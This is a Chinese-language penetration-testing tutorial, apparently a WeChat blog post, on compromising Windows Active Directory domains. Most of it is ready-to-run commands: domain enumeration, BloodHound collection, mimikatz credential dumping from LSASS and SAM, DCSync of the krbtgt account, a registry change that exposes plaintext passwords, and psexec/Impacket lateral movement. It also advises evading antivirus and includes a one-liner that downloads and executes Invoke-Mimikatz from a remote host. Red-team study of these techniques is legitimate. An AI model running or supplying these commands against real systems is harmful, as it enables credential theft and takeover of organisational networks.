请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,猫哥的秋刀鱼回忆录及文章作者不为此承担任何责任。猫哥的秋刀鱼回忆录公众号均不发表带原创标志的文章,转载请附带公众号出处!
在阅读本文前,我默认你已然了解域的基本概念,域环境与工作组环境的区别。本文主要叙述几点命题:
鲁迅《伤逝》中写道:
想给她一点慰藉。然而我的笑貌一上脸,我的话一出口,却即刻变为空虚,这空虚又即刻发生反响,回向我的耳目里,给我一个难堪的恶毒的冷嘲。
在实际的域内信息搜集过程中,我们通过使用DOS命令,实际上是对自己基础知识掌握程度的一个检验和了解。但更多生产环境中我们比较喜欢用现成的脚本插件来达到一键收集信息搜集的目的。这样的作用是能够加快我们的工作效率,减少不必要的时间浪费在这里面。当然命令行对于我们自身的素养也是有一个很大的帮助的,万变不离其宗,所有工具总归是要基于这些基石。
我们一般通过查询时间服务器来判断是否存在域,因为一般时间服务器就是域控机器,我们可以通过ping来获取DC域控的IP。当然也可以通过DNS后缀判断是否存在域
net time /domain
ipconfig /all
nltest /domain_trusts /all_trusts /v /server:DC域控IP
nltest /dsgetdc:域名 /server:DC域控IP
net group "domain controllers" /domain
net group "domain admins" /domain
net group "domain controllers" /domain
net group "domain computers" /domain
net group /domain
net user /domain
net view \\IP
net view \\主机名
wmic useraccount get Caption,sid
BloodHound是一个单页Javascript Web应用程序,建立在Linkurious之上,用Electron编译,Neo4j数据库由C#数据收集器提供BloodHound使用图论来揭示Active Directory或Azure环境中隐藏的和通常是意想不到的关系。攻击者可以使用BloodHound轻松识别高度复杂的攻击路径,否则无法快速识别。防御者可以使用寻血猎犬来识别和消除这些相同的攻击路径。蓝队和红队都可以使用 BloodHound 轻松更深入地了解ActiveDirectory 或Azure环境中的权限关系。
BloodHound 使用可视化图形显示域环境中的关系,攻击者可以使用 BloodHound 识别高度复杂的攻击路径,防御者可以使用 BloodHound 来识别和防御那些相同的攻击路径。蓝队和红队都可以使用 BloodHound 轻松深入域环境中的权限关系。BloodHound 通过在域内导出相关信息,在将数据收集后,将其导入Neo4j 数据库中,进行展示分析。因此需要安装 Neo4j 数据库。
使用SharpHound.exe进行数据的采集,将SharpHound.exe拷贝到目标上,它会自动采集域内的用户/用户组/计算机/组策略/域信任关系等信息,将采集到的所有信息在当前目录下打包成一个以时间戳标识的压缩文件,执行
SharpHound.exe -c all
如果使用powershell脚本收集,注意使用方法
powershell -exec bypass -command "Import-Module ./SharpHound.ps1; Invoke-BloodHound -c all"
采集到的数据会以压缩包的格式保存,拷贝到BloodHound所在主机上,Upload Data上传刚才生成的压缩包就可以导入数据了,或者直接拖动到里面也可以。
进入Analysis模块,点击不同的查询条件,就可以进行不同的分析查询。
汉化后的目录一览:
以及在最下面,我们可以自定义进行查询。
它主要通过图形与连线的方式来呈现数据,每一个图形都被称作为一个节点(Node)。通过图形的不同来表示域内的不同对象。域内不同的对象比如用户,用户组,计算机,域,组策略,组织单位等,它都有自己专属的图形来进行表示。
我们只要随便点击一个节点,左侧就会出现节点信息,包括节点的一些概述,节点属性,所属组(),以及所拥有的权限等等。不同的对象包含着不同类型的节点信息。
边缘是连接2个相互作用的节点之间的连线,它可以用来反映2个相互作用的节点之间的关系。如图所示,边缘MemberOF就代表着用户ADMINISTRATOR是用户组DOMAIN ADMINS的成员
Database Info(数据库信息),可以查看当前数据库的基本信息,包括用户、计算机、组和关系(或边)的数量。
Node Indo(节点信息),当单击某个节点时,可以显示对应节点的相关信息。
Analysis(分析查询),在BloodHound中预置了一些查询条件,具体如下:
右键查看功能菜单
节点可以分为6种类型,分别是 Users 用户、Groups 组、Computers 计算机、Domain 域、GPOs 组策略对象、OUs 组织单位
每个节点中可以有不同的标记图标:
在每个节点与节点之间都有对应的关系,分别代表着不同的意思。
HasSession 当用户与计算机时进行会话时,凭据会保留在内存中,可用 LSASS 注入或者凭据转储来获取用户凭据。
MemberOf 表示组的成员,此节点是上一节点的成员,由末端指向上的尖端。
AdminTo 末端是尖端的本地管理员,本地管理员对这台计算机的管理权限比较大,下面的这个用户组是前一台计算机的本地管理员。
ACL Edges
Containers
特殊 Edges
mimikatz是法国安全研究员Benjamin Delpy在GitHub开源的内网工具,可用来做一些关于Win内网安全的渗透实验;它在内网渗透中它可以从lsass.exe进程中提取明文密码、哈希值、PIN码和Kerberos票据,因此很多人称之为密码抓取神器;与此同时它还可以执行传递哈希值、传递票据、建立票据、伪造域管理凭证令牌等诸多功能等,我们在使用前尽量对mimikatz要进行免杀处理,因为该工具危害过大,大多数反病毒公司会对该工具进行拦截。
在 Windows 中,SAM 文件是 Windows 用户的账户数据库,位于系统的%SystemRoot%\System32\Config 目录中,所有本地用户的用户名、密码哈希值等信息都存储在这个文件中。用户输入密码登录时,用户输入的明文密码被转换为哈希值,然后与 SAM 文件中的哈希值对比,若相同,则认证成功。Isass.exe 是Windows 的一个系统进程,用于实现系统的安全机制,主要用于本地安全和登录策略。在通常情况下,用户输入密码登录后,登录的域名、用户名和登录凭据等信息会存储在 Isass.exe 的进程空间中,用户的明文密码经过 WDigest 和 Tspkg模块调用后,会对其使用可逆的算法进行加密并存储在内存中。
我们在获取域内单机密码和哈希之时,基本说是用工具来读取SAM文件或者访问lsass.exe进程的内存数据等操作实现的.这些操作大多需要管理员权限,这就意味着必须配合一些提权操作,才会对我们的密码抓取有一个帮助。
windows-2012以上的系统不能直接获取明文密码了,需要配置相关注册表等操作。虽然微软很早就更新了补丁来防止获取windows的明文密码,但是可以修改注册表,使代表WDigest的密码支持明文形式保存在LSA内存中。具体补丁是KB2871997,关闭了Wdigest功能,禁止从内存中获取明文密码。修改注册表来让Wdigest Auth保存明文口令:
# 开启Wdigest
reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
# 关闭Wdigest
reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
获取权限
privilege::debug
抓取密码
sekurlsa::logonpasswords
privilege::debug 用于提升权限为DebugPrivilege
sekurlsa::logonpasswords 用于导出用户凭据
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit
除了在线读取,也可以直接将 Isass.exe 的进程内存转储,将内存文件导出到本地后,使用 Mimikatz 进行离线读取。用于转储进程内存的工具有很多,如 OutMinidump.psl、Procdump、SharpDump 等,甚至可以手动加载系统自带的 comsvcs.dll 来实现内存转储。
我们使用微软官方提供的Procdump工具先将lsass.exe进程转储
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
把lsass.dmp放在mimikatz同目录下,然后使用mimikatz运行解密命令
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords full" exit
sekurlsa::minidump lsass.dmp 用于加载内存文件
sekurlsa::logonpasswords 用于导出用户凭据
在线读取本地 SAM 文件将mimikatz.exe上传到目标主机,执行以下命令:
mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" exit
lsass.exe同理,在管理员权限下执行以下命令,通过保存注册表的方式导出
reg save HKLM\SAM sam.hive
reg save HKLM\SYSTEM system.hive
然后将导出的SAM和SYSTEM文件复制到同目录下,使用Mimikatz加载并读取SAM中的用户凭据信息。
mimikatz.exe "lsadump::sam /sam:sam.hive /system:system.hive" exit
powershell "IEX (New-Object Net.WebClient).DownloadString('https://xxxxxxx/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"
load mimikatz
wdigest //获取明文密码
msv //获取所有Hash
hashdump //类似
点点点就OK
DCSync (mimikatz):mimikatz会模拟域控,向目标域控请求账号密码信息。这种方式动静更小,不用直接登陆域控,也不需要提取NTDS.DIT文件。需要域管理员或者其他类似的高权限账户。
lsadump::dcsync /user:krbtgt
在meterpreter中使用kiwi扩展也是一样的效果
dcsync_ntlm krbtgt
LSA(mimikatz):mimikatz 可以在域控的本地安全认证(Local Security Authority)上直接读取
privilege::debug
lsadump::lsa /inject /name:krbtgt
Hashdump(MSF+CS):一键即可
windows默认情况下开启的共享如下,当我们获取到可用于远程管理的账户时候,便可通过对ADMIN$目录建立IPC连接的方式远程连接到工作组或域内其他计算机,获取目标机器的控制权限。
net use \\IP /u:域名称\域账号 密码
这里需要注意只能使用被添加到远程计算机管理员组的域用户来远程连接,即默认情况下只有域管用户有权限对admin$目录建立IPC连接,其实本地的Administrator用户也可以,但是默认情况下该用户是被禁用的,如果启用了该用户,那么也可以使用Administrator用户远程连接.
一般我们用来反弹cmd,可先建立ipc连接再使用psexec无需输入密码
net use \\IP /u:域名称\域账号 密码
psexec.exe \\192.168.92.132 -s cmd.exe -acceptcula
或者直接使用psexec连接
.\psexec.exe \\192.168.92.131 -u tset0\Administrator -p Server.2019 -s cmd.exe -ac
Impacket是用于处理网络协议的 Python类 的集合。. Impacket专注于提供对数据包的简单编程访问,以及协议实现本身的某些协议
smbexec.py test0/administrator:[email protected]
psexec.py test0/administrator:[email protected]
或者直接执行命令
psexec.py test0/administrator:[email protected] ipconfig
wmiexec.py test0/administrator:[email protected] ipconfig